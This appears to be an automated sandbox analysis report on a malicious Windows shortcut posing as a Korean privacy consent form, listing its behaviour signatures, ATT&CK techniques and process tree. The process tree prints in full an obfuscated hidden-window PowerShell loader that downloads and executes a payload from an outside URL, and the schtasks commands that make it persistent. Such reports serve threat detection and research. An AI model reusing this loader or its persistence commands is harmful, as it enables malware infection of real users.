Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/10/2026, 18:46
General
- Target 개인정보 수집이용 동의서(양식).lnk
- Size 48KB
- Sample261012-xexmpsyzct
- SHA256 2c6055144868467157075d7a14be47649e00d2d44fb19d816309b132ce367ebe
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Deletes itself 1 TTPs 1 IoCs
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\개인정보 수집이용 동의서(양식).lnk"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c start /min powershell -windowstyle hidden $in='z9sgz5[Systemz6Textz6Encoding]z2z2UTF8z6GetString([Systemz6Convert]z2z2FromBase64String([regex]z2z2Match((Newz0Object z0TypeName Sysz8emz6Netz6WebClient)z6DownloadSz8ring(z1hz8z8psz2//noz8epalz6me/share/mjjandqgl6jxqgwz1),z1(z3z4z5DONT)(z6z7z3)(z3z5WORRY)z1)z6value));iex z9sg';$ao=45,39,58,63,60,61,46,42,116,36;for($po=0;$po -lt 10;$po++){$a=[char]$ao[$po];$in=$in.replace('z'+$po,$a)};iex $in2⤵
- An obfuscated cmd.exe command-line is typically used to evade detection.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden $in='z9sgz5[Systemz6Textz6Encoding]z2z2UTF8z6GetString([Systemz6Convert]z2z2FromBase64String([regex]z2z2Match((Newz0Object z0TypeName Sysz8emz6Netz6WebClient)z6DownloadSz8ring(z1hz8z8psz2//noz8epalz6me/share/mjjandqgl6jxqgwz1),z1(z3z4z5DONT)(z6z7z3)(z3z5WORRY)z1)z6value));iex z9sg';$ao=45,39,58,63,60,61,46,42,116,36;for($po=0;$po -lt 10;$po++){$a=[char]$ao[$po];$in=$in.replace('z'+$po,$a)};iex $in3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn .Wind0w /sc minute /st 19:47 /tr "wscript //b //e:vbscript C:\Users\Admin\AppData\Roaming\Wind0w.in" /mo 45 /F4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn .Wind0wUp /sc minute /st 19:51 /tr "wscript //b //e:vbscript C:\Users\Admin\AppData\Roaming\Moniito.in" /mo 45 /F4⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\wscript.exewscript1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\system32\wscript.EXE"C:\Windows\system32\wscript.EXE" //b //e:vbscript C:\Users\Admin\AppData\Roaming\Wind0w.in1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -File C:\Users\Admin\AppData\Roaming\Wind0w.ps12⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ask5yfv3.xd3.psm1
개인정보 수집이용 동의서(양식).hwp
Wind0w.in
Wind0w.ps1
memory/712-35-0x000002C8FAE30000-0x000002C8FAE52000-memory.dmp
memory/5792-15-0x0000000005ED0000-0x0000000005F1C000-memory.dmp
memory/5792-20-0x0000000008210000-0x00000000087CA000-memory.dmp
memory/5792-13-0x0000000005A10000-0x0000000005D6B000-memory.dmp
memory/5792-14-0x0000000005E60000-0x0000000005E7E000-memory.dmp
memory/5792-3-0x0000000074312000-0x0000000074313000-memory.dmp
memory/5792-16-0x00000000075D0000-0x0000000007C4C000-memory.dmp
memory/5792-17-0x0000000006F90000-0x0000000006FAA000-memory.dmp
memory/5792-18-0x0000000007360000-0x00000000073F6000-memory.dmp
memory/5792-19-0x00000000072F0000-0x0000000007312000-memory.dmp
memory/5792-11-0x0000000005870000-0x00000000058D6000-memory.dmp
memory/5792-12-0x00000000058E0000-0x0000000005946000-memory.dmp
memory/5792-31-0x0000000074300000-0x0000000074ABC000-memory.dmp
memory/5792-8-0x00000000057D0000-0x00000000057F2000-memory.dmp
memory/5792-5-0x0000000074300000-0x0000000074ABC000-memory.dmp
memory/5792-7-0x0000000074300000-0x0000000074ABC000-memory.dmp
memory/5792-6-0x0000000005140000-0x000000000578A000-memory.dmp
memory/5792-4-0x0000000002A80000-0x0000000002AB6000-memory.dmp